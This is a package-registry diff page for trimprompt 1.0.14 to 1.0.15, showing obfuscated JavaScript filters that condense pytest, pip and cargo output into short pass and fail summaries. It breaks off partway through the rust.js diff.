trimprompt 1.0.14 → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x5752(){const _0x3a75a2=['\x20failed','180pFVraK','failed','Successfully\x20installed','__esModule','\x20\x20...\x20+','length','filterPytest','2rdJwPF','112460AhqgXw','===\x20ERRORS\x20===','Downloading','\x20skipped','push','.\x20[FAIL]\x20','startsWith','includes','\x20\x20\x20\x20...\x20(','\x20\x20\x20\x20','\x0aFailures:','52856ycjBnp','split','filter','49370AlbMpN','join','\x20lines\x20of\x20stacktrace\x20truncated)','\x20passed','slice','filterPipInstall','AssertionError:','4121590PnaUFc','match','Collecting','Pytest:\x20All\x20tests\x20passed','===\x20FAILURES\x20===','Pytest:\x20','\x20xfailed','\x20xpassed\x20(warning!)','trim','___','defineProperty','15plWaiA','9037vFgJra','5998984PtXkvD','passed','\x20more\x20failures\x20truncated','Using\x20cached','replace','===','2364FjtSNp','Requirement\x20already\x20satisfied','E\x20\x20\x20','17927371pmylQg'];a0_0x5752=function(){return _0x3a75a2;};return a0_0x5752();}const a0_0x54d8b7=a0_0x4ea0;function a0_0x4ea0(_0x2a78b0,_0x5246ca){_0x2a78b0=_0x2a78b0-0x183;const _0x5752a0=a0_0x5752();let _0x4ea0fc=_0x5752a0[_0x2a78b0];return _0x4ea0fc;}(function(_0xd947e7,_0x6f1331){const _0x263558=a0_0x4ea0,_0x183717=_0xd947e7();while(!![]){try{const _0x3b4496=parseInt(_0x263558(0x192))/0x1*(-parseInt(_0x263558(0x1a1))/0x2)+-parseInt(_0x263558(0x1b3))/0x3*(parseInt(_0x263558(0x19e))/0x4)+parseInt(_0x263558(0x1a8))/0x5+parseInt(_0x263558(0x186))/0x6*(parseInt(_0x263558(0x1b4))/0x7)+parseInt(_0x263558(0x1b5))/0x8+-parseInt(_0x263558(0x18b))/0x9*(-parseInt(_0x263558(0x193))/0xa)+-parseInt(_0x263558(0x189))/0xb;if(_0x3b4496===_0x6f1331)break;else _0x183717['push'](_0x183717['shift']());}catch(_0x156061){_0x183717['push'](_0x183717['shift']());}}}(a0_0x5752,0x89584));Object[a0_0x54d8b7(0x1b2)](exports,a0_0x54d8b7(0x18e),{'value':!![]}),exports[a0_0x54d8b7(0x191)]=filterPytest,exports[a0_0x54d8b7(0x1a6)]=filterPipInstall;function filterPytest(_0x3956ac){const _0x36ea11=a0_0x54d8b7,_0x3a7177=_0x3956ac[_0x36ea11(0x19f)]('\x0a');let _0x4443c9=0x0,_0x3939f2=0x0,_0x31b408=0x0,_0x2ca980=0x0,_0x3c0486=0x0;const _0x15737f=[];let _0x24866b=[],_0x49ff12=![];for(const _0x21f48c of _0x3a7177){const _0xb7862c=_0x21f48c[_0x36ea11(0x1b0)]();if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x1ac))||_0xb7862c['startsWith'](_0x36ea11(0x194))){_0x49ff12=!![];continue;}else(_0xb7862c[_0x36ea11(0x199)]('===\x20short\x20test\x20summary\x20info\x20===')||_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x185))&&_0xb7862c[_0x36ea11(0x19a)]('passed'))&&(_0x49ff12=![],_0x24866b[_0x36ea11(0x190)]>0x0&&(_0x15737f['push'](_0x24866b),_0x24866b=[]));if(_0x49ff12){if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x1b1)))_0x24866b[_0x36ea11(0x190)]>0x0&&(_0x15737f[_0x36ea11(0x197)](_0x24866b),_0x24866b=[]),_0x24866b['push'](_0xb7862c);else _0xb7862c['length']>0x0&&_0x24866b['push'](_0x21f48c);continue;}if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x185))&&_0xb7862c[_0x36ea11(0x19a)]('\x20in\x20')){const _0x3a30b2=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+passed/),_0x1c0b61=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+failed/),_0x285b60=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+skipped/),_0x2d3089=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+xfailed/),_0x552463=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+xpassed/);if(_0x3a30b2)_0x4443c9=parseInt(_0x3a30b2[0x1]);if(_0x1c0b61)_0x3939f2=parseInt(_0x1c0b61[0x1]);if(_0x285b60)_0x31b408=parseInt(_0x285b60[0x1]);if(_0x2d3089)_0x2ca980=parseInt(_0x2d3089[0x1]);if(_0x552463)_0x3c0486=parseInt(_0x552463[0x1]);}}_0x24866b[_0x36ea11(0x190)]>0x0&&_0x15737f[_0x36ea11(0x197)](_0x24866b);if(_0x4443c9===0x0&&_0x3939f2===0x0&&_0x31b408===0x0&&_0x2ca980===0x0&&_0x3c0486===0x0){if(_0x3956ac['includes'](_0x36ea11(0x1b6))&&!_0x3956ac[_0x36ea11(0x19a)](_0x36ea11(0x18c)))return _0x36ea11(0x1ab);return _0x3956ac;}if(_0x3939f2===0x0&&_0x4443c9>0x0&&_0x31b408===0x0&&_0x2ca980===0x0&&_0x3c0486===0x0)return _0x36ea11(0x1ad)+_0x4443c9+_0x36ea11(0x1a4);const _0x42500d=[];_0x42500d[_0x36ea11(0x197)](_0x36ea11(0x1ad)+_0x4443c9+'\x20passed');if(_0x3939f2>0x0)_0x42500d[_0x36ea11(0x197)](_0x3939f2+_0x36ea11(0x18a));if(_0x31b408>0x0)_0x42500d[_0x36ea11(0x197)](_0x31b408+_0x36ea11(0x196));if(_0x2ca980>0x0)_0x42500d[_0x36ea11(0x197)](_0x2ca980+_0x36ea11(0x1ae));if(_0x3c0486>0x0)_0x42500d['push'](_0x3c0486+_0x36ea11(0x1af));const _0x2cb8f5=[_0x42500d['join'](',\x20')];if(_0x15737f[_0x36ea11(0x190)]>0x0){_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19d));const _0x129dc=0x3,_0x1848a3=_0x15737f[_0x36ea11(0x1a5)](0x0,_0x129dc);for(let _0x2b048c=0x0;_0x2b048c<_0x1848a3[_0x36ea11(0x190)];_0x2b048c++){const _0x298e1f=_0x1848a3[_0x2b048c],_0x5d5dc2=_0x298e1f[0x0][_0x36ea11(0x184)](/_/g,'')[_0x36ea11(0x1b0)]();_0x2cb8f5['push']('\x20\x20'+(_0x2b048c+0x1)+_0x36ea11(0x198)+_0x5d5dc2);const _0x1b05f6=_0x298e1f['slice'](0x1),_0x271f4c=_0x1b05f6[_0x36ea11(0x1a0)](_0x271482=>{const _0x5ae7f7=_0x36ea11,_0x3f8289=_0x271482[_0x5ae7f7(0x1b0)]();return _0x3f8289['startsWith']('>')||_0x3f8289[_0x5ae7f7(0x199)](_0x5ae7f7(0x188))||_0x3f8289[_0x5ae7f7(0x19a)]('.py:')||_0x3f8289['includes'](_0x5ae7f7(0x1a7));});for(const _0x3fc2ad of _0x271f4c['slice'](0x0,0x8)){_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19c)+_0x3fc2ad);}_0x271f4c[_0x36ea11(0x190)]>0x8&&_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19b)+(_0x271f4c[_0x36ea11(0x190)]-0x8)+_0x36ea11(0x1a3));}_0x15737f['length']>_0x129dc&&_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x18f)+(_0x15737f[_0x36ea11(0x190)]-_0x129dc)+_0x36ea11(0x1b7));}return _0x2cb8f5['join']('\x0a');}function filterPipInstall(_0x36fd38){const _0x15258b=a0_0x54d8b7,_0x1e1cd6=_0x36fd38[_0x15258b(0x19f)]('\x0a'),_0x1bb0a5=[];for(const _0x42c626 of _0x1e1cd6){const _0x4f775d=_0x42c626[_0x15258b(0x1b0)]();_0x4f775d[_0x15258b(0x199)](_0x15258b(0x18d))&&_0x1bb0a5[_0x15258b(0x197)](_0x4f775d);}if(_0x1bb0a5['length']>0x0)return _0x1bb0a5[_0x15258b(0x1a2)]('\x0a');return _0x1e1cd6['filter'](_0x23549c=>{const _0xb9ac41=_0x15258b,_0x381d2d=_0x23549c[_0xb9ac41(0x1b0)]();return!_0x381d2d[_0xb9ac41(0x199)](_0xb9ac41(0x1aa))&&!_0x381d2d['startsWith'](_0xb9ac41(0x195))&&!_0x381d2d[_0xb9ac41(0x19a)](_0xb9ac41(0x183))&&!_0x381d2d[_0xb9ac41(0x199)](_0xb9ac41(0x187));})['join']('\x0a')['trim']();}
1
+ 'use strict';const a0_0x7d4209=a0_0x5a48;(function(_0x5f2196,_0x4ff338){const _0x37e821=a0_0x5a48,_0x4a65cc=_0x5f2196();while(!![]){try{const _0x4e1775=-parseInt(_0x37e821(0x9b))/0x1*(-parseInt(_0x37e821(0xa3))/0x2)+parseInt(_0x37e821(0x9c))/0x3+parseInt(_0x37e821(0x7a))/0x4+parseInt(_0x37e821(0x9e))/0x5+-parseInt(_0x37e821(0x8e))/0x6+parseInt(_0x37e821(0x8a))/0x7*(parseInt(_0x37e821(0x95))/0x8)+-parseInt(_0x37e821(0xa2))/0x9;if(_0x4e1775===_0x4ff338)break;else _0x4a65cc['push'](_0x4a65cc['shift']());}catch(_0x289751){_0x4a65cc['push'](_0x4a65cc['shift']());}}}(a0_0x479a,0xd7bdb));Object[a0_0x7d4209(0x87)](exports,a0_0x7d4209(0x81),{'value':!![]}),exports['filterPytest']=filterPytest,exports['filterPipInstall']=filterPipInstall;function a0_0x5a48(_0x1cd2a2,_0x26d3a1){_0x1cd2a2=_0x1cd2a2-0x79;const _0x479ab4=a0_0x479a();let _0x5a48eb=_0x479ab4[_0x1cd2a2];return _0x5a48eb;}function filterPytest(_0x1dff35){const _0x5a6851=a0_0x7d4209,_0xc7629c=_0x1dff35['split']('\x0a');let _0x4a3454=0x0,_0x388619=0x0,_0x3c2b48=0x0,_0x332ff7=0x0,_0xed9eef=0x0;const _0x3c84f0=[];let _0x2b0a2b=[],_0x5bbb87=![];for(const _0x569d71 of _0xc7629c){const _0x245248=_0x569d71['trim']();if(_0x245248[_0x5a6851(0x88)](_0x5a6851(0x9f))||_0x245248['startsWith'](_0x5a6851(0x97))){_0x5bbb87=!![];continue;}else(_0x245248[_0x5a6851(0x88)](_0x5a6851(0xa0))||_0x245248[_0x5a6851(0x88)](_0x5a6851(0x7f))&&_0x245248[_0x5a6851(0x96)](_0x5a6851(0x99)))&&(_0x5bbb87=![],_0x2b0a2b[_0x5a6851(0x79)]>0x0&&(_0x3c84f0['push'](_0x2b0a2b),_0x2b0a2b=[]));if(_0x5bbb87){if(_0x245248[_0x5a6851(0x88)](_0x5a6851(0x84)))_0x2b0a2b[_0x5a6851(0x79)]>0x0&&(_0x3c84f0[_0x5a6851(0x7c)](_0x2b0a2b),_0x2b0a2b=[]),_0x2b0a2b[_0x5a6851(0x7c)](_0x245248);else _0x245248[_0x5a6851(0x79)]>0x0&&_0x2b0a2b[_0x5a6851(0x7c)](_0x569d71);continue;}if(_0x245248['startsWith']('===')&&_0x245248[_0x5a6851(0x96)]('\x20in\x20')){const _0x1c6bb9=_0x245248['match'](/(\d+)\s+passed/),_0x11eedf=_0x245248[_0x5a6851(0x93)](/(\d+)\s+failed/),_0x5dcf00=_0x245248['match'](/(\d+)\s+skipped/),_0x4147be=_0x245248[_0x5a6851(0x93)](/(\d+)\s+xfailed/),_0x1eefe8=_0x245248[_0x5a6851(0x93)](/(\d+)\s+xpassed/);if(_0x1c6bb9)_0x4a3454=parseInt(_0x1c6bb9[0x1]);if(_0x11eedf)_0x388619=parseInt(_0x11eedf[0x1]);if(_0x5dcf00)_0x3c2b48=parseInt(_0x5dcf00[0x1]);if(_0x4147be)_0x332ff7=parseInt(_0x4147be[0x1]);if(_0x1eefe8)_0xed9eef=parseInt(_0x1eefe8[0x1]);}}_0x2b0a2b['length']>0x0&&_0x3c84f0['push'](_0x2b0a2b);if(_0x4a3454===0x0&&_0x388619===0x0&&_0x3c2b48===0x0&&_0x332ff7===0x0&&_0xed9eef===0x0){if(_0x1dff35[_0x5a6851(0x96)](_0x5a6851(0x99))&&!_0x1dff35[_0x5a6851(0x96)](_0x5a6851(0x8d)))return'Pytest:\x20All\x20tests\x20passed';return _0x1dff35;}if(_0x388619===0x0&&_0x4a3454>0x0&&_0x3c2b48===0x0&&_0x332ff7===0x0&&_0xed9eef===0x0)return _0x5a6851(0x86)+_0x4a3454+_0x5a6851(0x90);const _0xc5d7bb=[];_0xc5d7bb[_0x5a6851(0x7c)](_0x5a6851(0x86)+_0x4a3454+_0x5a6851(0x90));if(_0x388619>0x0)_0xc5d7bb[_0x5a6851(0x7c)](_0x388619+'\x20failed');if(_0x3c2b48>0x0)_0xc5d7bb['push'](_0x3c2b48+'\x20skipped');if(_0x332ff7>0x0)_0xc5d7bb[_0x5a6851(0x7c)](_0x332ff7+_0x5a6851(0x9a));if(_0xed9eef>0x0)_0xc5d7bb[_0x5a6851(0x7c)](_0xed9eef+_0x5a6851(0x7e));const _0x3c2b2a=[_0xc5d7bb['join'](',\x20')];if(_0x3c84f0[_0x5a6851(0x79)]>0x0){_0x3c2b2a[_0x5a6851(0x7c)](_0x5a6851(0x98));const _0x196ab3=0x3,_0x1f1b1a=_0x3c84f0[_0x5a6851(0x7b)](0x0,_0x196ab3);for(let _0x461976=0x0;_0x461976<_0x1f1b1a[_0x5a6851(0x79)];_0x461976++){const _0x3bfcfb=_0x1f1b1a[_0x461976],_0xc4a6ce=_0x3bfcfb[0x0][_0x5a6851(0x82)](/_/g,'')[_0x5a6851(0x80)]();_0x3c2b2a[_0x5a6851(0x7c)]('\x20\x20'+(_0x461976+0x1)+_0x5a6851(0x8b)+_0xc4a6ce);const _0x2735c8=_0x3bfcfb['slice'](0x1),_0x2436e2=_0x2735c8[_0x5a6851(0x85)](_0x55e928=>{const _0x20932e=_0x5a6851,_0x51aca2=_0x55e928[_0x20932e(0x80)]();return _0x51aca2[_0x20932e(0x88)]('>')||_0x51aca2[_0x20932e(0x88)]('E\x20\x20\x20')||_0x51aca2[_0x20932e(0x96)](_0x20932e(0xa1))||_0x51aca2[_0x20932e(0x96)](_0x20932e(0x91));});for(const _0xaba571 of _0x2436e2['slice'](0x0,0x8)){_0x3c2b2a[_0x5a6851(0x7c)](_0x5a6851(0x92)+_0xaba571);}_0x2436e2[_0x5a6851(0x79)]>0x8&&_0x3c2b2a[_0x5a6851(0x7c)](_0x5a6851(0x9d)+(_0x2436e2[_0x5a6851(0x79)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x3c84f0[_0x5a6851(0x79)]>_0x196ab3&&_0x3c2b2a['push'](_0x5a6851(0x8c)+(_0x3c84f0['length']-_0x196ab3)+'\x20more\x20failures\x20truncated');}return _0x3c2b2a[_0x5a6851(0x7d)]('\x0a');}function a0_0x479a(){const _0x49fc83=['Using\x20cached','9296bVYeKk','includes','===\x20ERRORS\x20===','\x0aFailures:','passed','\x20xfailed','97PJRQoh','1527810RmOMJI','\x20\x20\x20\x20...\x20(','897630QAvrje','===\x20FAILURES\x20===','===\x20short\x20test\x20summary\x20info\x20===','.py:','18733977BloFsE','6002UtfLps','length','3864736FsQxIO','slice','push','join','\x20xpassed\x20(warning!)','===','trim','__esModule','replace','Requirement\x20already\x20satisfied','___','filter','Pytest:\x20','defineProperty','startsWith','split','9037CuufNU','.\x20[FAIL]\x20','\x20\x20...\x20+','failed','2885946iugjnH','Collecting','\x20passed','AssertionError:','\x20\x20\x20\x20','match'];a0_0x479a=function(){return _0x49fc83;};return a0_0x479a();}function filterPipInstall(_0x736132){const _0x303be4=a0_0x7d4209,_0x66a4c0=_0x736132[_0x303be4(0x89)]('\x0a'),_0x253f68=[];for(const _0x1abda1 of _0x66a4c0){const _0x59b66e=_0x1abda1[_0x303be4(0x80)]();_0x59b66e[_0x303be4(0x88)]('Successfully\x20installed')&&_0x253f68[_0x303be4(0x7c)](_0x59b66e);}if(_0x253f68[_0x303be4(0x79)]>0x0)return _0x253f68[_0x303be4(0x7d)]('\x0a');return _0x66a4c0[_0x303be4(0x85)](_0x3439d7=>{const _0x5efb31=_0x303be4,_0x2e2c8c=_0x3439d7[_0x5efb31(0x80)]();return!_0x2e2c8c[_0x5efb31(0x88)](_0x5efb31(0x8f))&&!_0x2e2c8c[_0x5efb31(0x88)]('Downloading')&&!_0x2e2c8c['includes'](_0x5efb31(0x94))&&!_0x2e2c8c['startsWith'](_0x5efb31(0x83));})[_0x303be4(0x7d)]('\x0a')[_0x303be4(0x80)]();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x119697=a0_0x2f41;(function(_0x45a528,_0x5cef95){const _0x414294=a0_0x2f41,_0x5e3bd3=_0x45a528();while(!![]){try{const _0x524f60=parseInt(_0x414294(0x16d))/0x1*(parseInt(_0x414294(0x165))/0x2)+-parseInt(_0x414294(0x170))/0x3*(-parseInt(_0x414294(0x147))/0x4)+-parseInt(_0x414294(0x15a))/0x5*(parseInt(_0x414294(0x144))/0x6)+parseInt(_0x414294(0x161))/0x7+-parseInt(_0x414294(0x145))/0x8+-parseInt(_0x414294(0x15e))/0x9*(-parseInt(_0x414294(0x14d))/0xa)+-parseInt(_0x414294(0x166))/0xb;if(_0x524f60===_0x5cef95)break;else _0x5e3bd3['push'](_0x5e3bd3['shift']());}catch(_0x566b19){_0x5e3bd3['push'](_0x5e3bd3['shift']());}}}(a0_0x2cfe,0x688fd));Object[a0_0x119697(0x16b)](exports,'__esModule',{'value':!![]}),exports[a0_0x119697(0x16a)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x37d202){const _0x16c217=a0_0x119697,_0x28effc=_0x37d202[_0x16c217(0x150)]('\x0a');let _0x115e5d=0x0,_0x106ead=0x0,_0x4bf1f0=0x0,_0x1af319=0x0;const _0x27b366=[];let _0x3a0dda=![],_0x187a18=[];for(const _0x31f605 of _0x28effc){const _0x1b1281=_0x31f605[_0x16c217(0x159)](),_0x5939cd=_0x1b1281['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x5939cd){_0x115e5d+=parseInt(_0x5939cd[0x2]),_0x106ead+=parseInt(_0x5939cd[0x3]),_0x4bf1f0+=parseInt(_0x5939cd[0x4]),_0x1af319+=parseInt(_0x5939cd[0x5]);continue;}if(_0x1b1281===_0x16c217(0x148)||_0x1b1281==='----\x20failures\x20----'){_0x3a0dda=!![];continue;}if(_0x3a0dda){if(_0x1b1281[_0x16c217(0x156)](_0x16c217(0x142))&&_0x1b1281[_0x16c217(0x167)](_0x16c217(0x168))){if(_0x187a18['length']>0x0)_0x27b366[_0x16c217(0x152)](_0x187a18[_0x16c217(0x169)]('\x0a'));_0x187a18=[_0x1b1281[_0x16c217(0x146)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x1b1281==='failures:'||_0x1b1281[_0x16c217(0x156)](_0x16c217(0x16e))){if(_0x187a18[_0x16c217(0x149)]>0x0)_0x27b366[_0x16c217(0x152)](_0x187a18[_0x16c217(0x169)]('\x0a'));_0x187a18=[],_0x3a0dda=![];}else _0x1b1281['length']>0x0&&_0x187a18['push'](_0x31f605);}}}if(_0x187a18[_0x16c217(0x149)]>0x0)_0x27b366['push'](_0x187a18[_0x16c217(0x169)]('\x0a'));if(_0x115e5d===0x0&&_0x106ead===0x0&&_0x4bf1f0===0x0){if(_0x37d202['includes'](_0x16c217(0x15f)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x37d202;}if(_0x106ead===0x0){const _0x1acb77=['Cargo\x20test:\x20'+_0x115e5d+_0x16c217(0x15d)];if(_0x4bf1f0>0x0)_0x1acb77['push'](_0x4bf1f0+_0x16c217(0x141));return _0x1acb77['join'](',\x20');}const _0x2c65e4=['Cargo\x20test:\x20'+_0x115e5d+'\x20passed,\x20'+_0x106ead+'\x20failed,\x20'+_0x4bf1f0+_0x16c217(0x141)];if(_0x27b366['length']>0x0){_0x2c65e4['push'](_0x16c217(0x143));const _0x3bab8a=0x3;for(let _0x1685f8=0x0;_0x1685f8<Math[_0x16c217(0x154)](_0x27b366[_0x16c217(0x149)],_0x3bab8a);_0x1685f8++){const _0x1851d6=_0x27b366[_0x1685f8][_0x16c217(0x150)]('\x0a');_0x2c65e4[_0x16c217(0x152)]('\x20\x20'+(_0x1685f8+0x1)+'.\x20'+_0x1851d6[0x0]);const _0x176410=_0x1851d6[_0x16c217(0x14a)](0x1),_0x48b9f3=_0x176410[_0x16c217(0x15b)](_0x1e89a9=>_0x1e89a9[_0x16c217(0x159)]()[_0x16c217(0x156)](_0x16c217(0x14b))||_0x1e89a9[_0x16c217(0x153)]('panicked')||_0x1e89a9['includes'](_0x16c217(0x14c))||_0x1e89a9[_0x16c217(0x153)](_0x16c217(0x151))||_0x1e89a9[_0x16c217(0x153)]('right:'));for(const _0x41fc89 of _0x48b9f3[_0x16c217(0x14a)](0x0,0x5)){_0x2c65e4[_0x16c217(0x152)](_0x16c217(0x15c)+_0x41fc89[_0x16c217(0x159)]());}}_0x27b366[_0x16c217(0x149)]>_0x3bab8a&&_0x2c65e4[_0x16c217(0x152)]('\x20\x20...\x20+'+(_0x27b366[_0x16c217(0x149)]-_0x3bab8a)+_0x16c217(0x162));}return _0x2c65e4['join']('\x0a');}function a0_0x2f41(_0x11725c,_0x2f4df5){_0x11725c=_0x11725c-0x141;const _0x2cfefc=a0_0x2cfe();let _0x2f41dd=_0x2cfefc[_0x11725c];return _0x2f41dd;}function filterCargoBuild(_0xc2a8ba){const _0x37e147=a0_0x119697,_0x38ae95=_0xc2a8ba[_0x37e147(0x150)]('\x0a'),_0x4f98c7=[],_0x1d0ad4=[];let _0x35eaa6=0x0;for(const _0x161209 of _0x38ae95){const _0x4f318d=_0x161209[_0x37e147(0x159)]();if(_0x4f318d[_0x37e147(0x156)]('Compiling\x20'))_0x35eaa6++;else{if(_0x4f318d[_0x37e147(0x156)](_0x37e147(0x158))||_0x4f318d[_0x37e147(0x156)](_0x37e147(0x155)))_0x4f98c7[_0x37e147(0x152)](_0x4f318d);else{if(_0x4f318d[_0x37e147(0x156)]('error[')||_0x4f318d[_0x37e147(0x156)]('error:'))_0x1d0ad4['push'](_0x4f318d);}}}if(_0x1d0ad4[_0x37e147(0x149)]===0x0&&_0x4f98c7[_0x37e147(0x149)]===0x0)return _0x35eaa6>0x0?_0x37e147(0x16f)+_0x35eaa6+'\x20crates\x20successfully':_0xc2a8ba[_0x37e147(0x159)]();const _0xa0bebb=[];if(_0x1d0ad4[_0x37e147(0x149)]>0x0){_0xa0bebb['push'](_0x37e147(0x14f)+_0x1d0ad4['length']+_0x37e147(0x14e)+_0x4f98c7[_0x37e147(0x149)]+'\x20warnings'),_0xa0bebb[_0x37e147(0x152)]('\x0aErrors:');for(const _0x2b6c60 of _0x1d0ad4[_0x37e147(0x14a)](0x0,0x5))_0xa0bebb['push']('\x20\x20'+_0x2b6c60);if(_0x1d0ad4[_0x37e147(0x149)]>0x5)_0xa0bebb['push'](_0x37e147(0x163)+(_0x1d0ad4[_0x37e147(0x149)]-0x5)+'\x20more\x20errors');}else _0xa0bebb[_0x37e147(0x152)](_0x37e147(0x16f)+_0x35eaa6+_0x37e147(0x157)+_0x4f98c7[_0x37e147(0x149)]+_0x37e147(0x164));if(_0x4f98c7[_0x37e147(0x149)]>0x0&&_0x4f98c7[_0x37e147(0x149)]<=0x5){_0xa0bebb[_0x37e147(0x152)](_0x37e147(0x160));for(const _0x3172c2 of _0x4f98c7)_0xa0bebb[_0x37e147(0x152)]('\x20\x20'+_0x3172c2);}else _0x4f98c7[_0x37e147(0x149)]>0x5&&_0xa0bebb[_0x37e147(0x152)]('\x0a('+_0x4f98c7[_0x37e147(0x149)]+_0x37e147(0x16c));return _0xa0bebb[_0x37e147(0x169)]('\x0a');}function a0_0x2cfe(){const _0x4cfea8=['\x0aWarnings:','5817728pokGNl','\x20more\x20failures','\x20\x20...\x20+','\x20warnings','22042mEDwyZ','12804583LjnniE','endsWith','\x20----','join','filterCargoTest','defineProperty','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','51tmZaJn','test\x20result:','Cargo:\x20compiled\x20','1858971sFaIEv','\x20ignored','----\x20','\x0aFailures:','6nbHWCs','5366488RwsrTS','replace','4AQybtR','failures:','length','slice','thread','assert','20FoDjWJ','\x20errors,\x20','Cargo:\x20','split','left:','push','includes','min','warning:','startsWith','\x20crates,\x20','warning[','trim','135995ofNOow','filter','\x20\x20\x20\x20','\x20passed','1248822zoxDwZ','test\x20result:\x20ok'];a0_0x2cfe=function(){return _0x4cfea8;};return a0_0x2cfe();}
1
+ 'use strict';const a0_0x4956c4=a0_0x5d8b;(function(_0x39e262,_0x41973f){const _0x183588=a0_0x5d8b,_0x3d034e=_0x39e262();while(!![]){try{const _0x55083f=parseInt(_0x183588(0x174))/0x1+-parseInt(_0x183588(0x177))/0x2*(parseInt(_0x183588(0x18e))/0x3)+-parseInt(_0x183588(0x194))/0x4+parseInt(_0x183588(0x182))/0x5+-parseInt(_0x183588(0x180))/0x6+-parseInt(_0x183588(0x1a4))/0x7*(-parseInt(_0x183588(0x191))/0x8)+parseInt(_0x183588(0x17a))/0x9*(parseInt(_0x183588(0x19c))/0xa);if(_0x55083f===_0x41973f)break;else _0x3d034e['push'](_0x3d034e['shift']());}catch(_0x49a2dc){_0x3d034e['push'](_0x3d034e['shift']());}}}(a0_0x44d8,0xdaa9c));Object['defineProperty'](exports,a0_0x4956c4(0x183),{'value':!![]}),exports[a0_0x4956c4(0x17b)]=filterCargoTest,exports[a0_0x4956c4(0x190)]=filterCargoBuild;function filterCargoTest(_0x430f2c){const _0x5b801a=a0_0x4956c4,_0x54d522=_0x430f2c['split']('\x0a');let _0x3e5159=0x0,_0x54b404=0x0,_0x494dcc=0x0,_0x3bf1f6=0x0;const _0x5a6769=[];let _0x13fa46=![],_0x7b6a71=[];for(const _0x323a46 of _0x54d522){const _0x28d51e=_0x323a46[_0x5b801a(0x176)](),_0x12672d=_0x28d51e['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x12672d){_0x3e5159+=parseInt(_0x12672d[0x2]),_0x54b404+=parseInt(_0x12672d[0x3]),_0x494dcc+=parseInt(_0x12672d[0x4]),_0x3bf1f6+=parseInt(_0x12672d[0x5]);continue;}if(_0x28d51e===_0x5b801a(0x195)||_0x28d51e===_0x5b801a(0x197)){_0x13fa46=!![];continue;}if(_0x13fa46){if(_0x28d51e[_0x5b801a(0x18c)](_0x5b801a(0x193))&&_0x28d51e['endsWith'](_0x5b801a(0x18f))){if(_0x7b6a71[_0x5b801a(0x18d)]>0x0)_0x5a6769[_0x5b801a(0x199)](_0x7b6a71[_0x5b801a(0x198)]('\x0a'));_0x7b6a71=[_0x28d51e[_0x5b801a(0x1a6)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x28d51e===_0x5b801a(0x195)||_0x28d51e['startsWith'](_0x5b801a(0x17c))){if(_0x7b6a71[_0x5b801a(0x18d)]>0x0)_0x5a6769[_0x5b801a(0x199)](_0x7b6a71['join']('\x0a'));_0x7b6a71=[],_0x13fa46=![];}else _0x28d51e[_0x5b801a(0x18d)]>0x0&&_0x7b6a71[_0x5b801a(0x199)](_0x323a46);}}}if(_0x7b6a71['length']>0x0)_0x5a6769['push'](_0x7b6a71[_0x5b801a(0x198)]('\x0a'));if(_0x3e5159===0x0&&_0x54b404===0x0&&_0x494dcc===0x0){if(_0x430f2c['includes'](_0x5b801a(0x189)))return _0x5b801a(0x185);return _0x430f2c;}if(_0x54b404===0x0){const _0x318828=['Cargo\x20test:\x20'+_0x3e5159+_0x5b801a(0x19d)];if(_0x494dcc>0x0)_0x318828['push'](_0x494dcc+_0x5b801a(0x175));return _0x318828[_0x5b801a(0x198)](',\x20');}const _0x43a8c=[_0x5b801a(0x1a5)+_0x3e5159+_0x5b801a(0x19a)+_0x54b404+_0x5b801a(0x181)+_0x494dcc+_0x5b801a(0x175)];if(_0x5a6769[_0x5b801a(0x18d)]>0x0){_0x43a8c['push']('\x0aFailures:');const _0x557e8c=0x3;for(let _0xc912f5=0x0;_0xc912f5<Math[_0x5b801a(0x1a7)](_0x5a6769[_0x5b801a(0x18d)],_0x557e8c);_0xc912f5++){const _0x31b475=_0x5a6769[_0xc912f5]['split']('\x0a');_0x43a8c[_0x5b801a(0x199)]('\x20\x20'+(_0xc912f5+0x1)+'.\x20'+_0x31b475[0x0]);const _0x537faf=_0x31b475[_0x5b801a(0x186)](0x1),_0xb0dad6=_0x537faf['filter'](_0xc725c8=>_0xc725c8[_0x5b801a(0x176)]()[_0x5b801a(0x18c)](_0x5b801a(0x173))||_0xc725c8[_0x5b801a(0x18b)]('panicked')||_0xc725c8['includes'](_0x5b801a(0x18a))||_0xc725c8[_0x5b801a(0x18b)](_0x5b801a(0x192))||_0xc725c8[_0x5b801a(0x18b)](_0x5b801a(0x178)));for(const _0x185423 of _0xb0dad6['slice'](0x0,0x5)){_0x43a8c[_0x5b801a(0x199)](_0x5b801a(0x19e)+_0x185423[_0x5b801a(0x176)]());}}_0x5a6769[_0x5b801a(0x18d)]>_0x557e8c&&_0x43a8c[_0x5b801a(0x199)](_0x5b801a(0x1a1)+(_0x5a6769[_0x5b801a(0x18d)]-_0x557e8c)+'\x20more\x20failures');}return _0x43a8c['join']('\x0a');}function a0_0x44d8(){const 